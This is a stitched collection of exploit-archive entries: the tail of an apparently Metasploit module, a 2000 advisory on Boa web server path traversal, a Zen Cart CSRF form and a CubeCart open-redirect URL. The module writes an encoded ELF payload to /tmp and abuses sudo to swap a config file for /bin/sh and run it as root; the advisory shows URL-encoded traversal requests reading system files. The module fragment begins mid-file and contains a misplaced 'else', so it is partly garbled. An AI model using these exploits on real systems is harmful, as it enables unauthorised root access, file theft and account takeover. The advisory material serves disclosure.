                elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
                encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\\\\\\\\\x\1\2') # extra escaping to get passed down correctly

		if not datastore['PASSWORD'].nil? and not datastore['PASSWORD'].empty?

			password_clear = "admin"
			password = datastore['PASSWORD']
			et = datastore['ET'] 

                # else - if no 'CMD' string - add code for root shell
                else   

			password, et = do_login(user, password, et)
			vprint_status("new password: #{password}\n")
		end

		sleep(5)

		if not datastore['CMD'].nil? and not datastore['CMD'].empty?
			cmd = datastore['CMD']	
		end

		run_command(user, password, et, cmd)
		
		# create elf in /tmp, abuse sudo to overwrite another command we have sudo access to (tar), then execute with sudo perm
		cmd =  "echo -ne #{encoded_elf} > /tmp/x ;"
		cmd += "chmod +x /tmp/x ;"

		# backup static_routes file
		cmd += "cp -f /home/product/code/config/static_routes /tmp/zzz"
		cmd += "sudo cp -f /bin/sh /home/product/code/config/static_routes"
	
		# execute elf as root 
		cmd += "sudo /home/product/code/config/static_routes -c /tmp/x ;"

		# restore static_routes file
		cmd += "cp -f /tmp/zzz /home/product/code/config/static_routes"
		
		
		run_command(user, password, et, cmd)
		sleep(2)
		handler
		sleep(5)
		
	end

end
HireHackking 
###############################################################
ID: S21SEC-005-en
Title: Vulnerability in BOA web server v0.94.8.2
Date: 03/10/2000
Status: Vendor contacted, patch available
Scope: Arbitrary file access
Platforms: Unix
Author: llmora
Location: http://www.s21sec.com/en/avisos/s21sec-005-en.txt
Release: Public
###############################################################

				S 2 1 S E C

			 http://www.s21sec.com

	Vulnerability in BOA web server v0.94.8.2


There is a security bug in BOA v0.94.8.2 that allows a malicious
user to access files outside the document root of the web server
as the user the server runs as.

About BOA
---------

Boa is an open source high performance web server for Unix-alike
computers (http://www.boa.org). It does file serving and dynamic
content generation via CGI.

Vulnerability description
-------------------------

- Reading any file in the web server

The boa web server suffers of the well-known "../.." web server
problem. If we request a document from the web server,
using the "../.." technique, we get:

homer:~$ telnet ilf 80
Escape character is '^]'.
GET /../../../../../../../../../../../etc/motd HTTP/1.0

HTTP/1.0 404 Not Found

<HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD>
<BODY><H1>404 Not Found</H1>
The requested URL /etc/motd was not found on this server.
</BODY></HTML>
Connection closed by foreign host.
homer:~$

So apparently it doesn't work, as boa checks for "/.." in the path.

By URL-encoding the "." in the request, we are able to skip the ".." test,
allowing us to access the contents of any file the user running the
web server has access to:

homer:~$ telnet ilf 80
GET
/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2
E/etc/motd HTTP/1.0

HTTP/1.0 200 OK

[... the /etc/motd file content is shown]

Connection closed by foreign host.
homer:~$

If the administrator enables extension based CGI support with a line like
this in the boa.conf file:

AddType application/x-httpd-cgi cgi

then a request for a file ending in .cgi will result in the file being
executed with the privileges of the user id running the web server. This
file can be placed in any folder throughout the file system, not strictly
under the DocumentRoot, and be accessed using the previous bug, leading
to the web server account compromise.

Affected versions
-----------------

This bug has been tested and verified to be present in v0.94.8.2 of the boa
web server. Version 0.92 of boa is not affected by this problem.

Fix information
---------------

The boa development team has released v0.94.8.3 which fixes this
vulnerability.
Upgrades are available at the vendor website (http://www.boa.org).

S21SEC wishes to thank the boa development team for acknowledging the issue
and releasing a security patch in a matter of hours.

Additional information
----------------------

This vulnerability was found and researched by:

 Lluis Mora		llmora@s21sec.com

You can find the latest version of this advisory at:

	http://www.s21sec.com/en/avisos/s21sec-005-en.txt

And other S21SEC advisories at http://www.s21sec.com/en/avisos/
HireHackking 
source: https://www.securityfocus.com/bid/51968/info

Zen Cart is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected application. Other attacks are also possible.

Zen Cart 1.3.9h is vulnerable; other versions may be affected.

<form name="products" action="
http://www.example.com/path_to_admin/product.php?action=delete_product_confirm";
method="post">
<label for="securityToken">Security Token</label><br/><input type="text"
name="securityToken" value="Can be anything�" /><br/><br/>
<label for="products_id">Products ID</label><br/><input type="text"
name="products_id" value="329"><br/><br/>
<label for="product_categories[]">Products Category</label><br/><input
type="text" value="48" name="product_categories[]"><br/><br/>
<input type="submit" border="0" alt="Delete" value=" Delete Product">
</form>
HireHackking 
source: https://www.securityfocus.com/bid/51966/info
 
CubeCart is prone to a URI-redirection vulnerabilities because the application fails to properly sanitize user-supplied input.
 
A successful exploit may aid in phishing attacks; other attacks are possible.
 
CubeCart 3.0.20 is vulnerable; other versions may also be affected. 

http://www.example.com/cube3.0.20/admin/login.php?goto=//yehg.net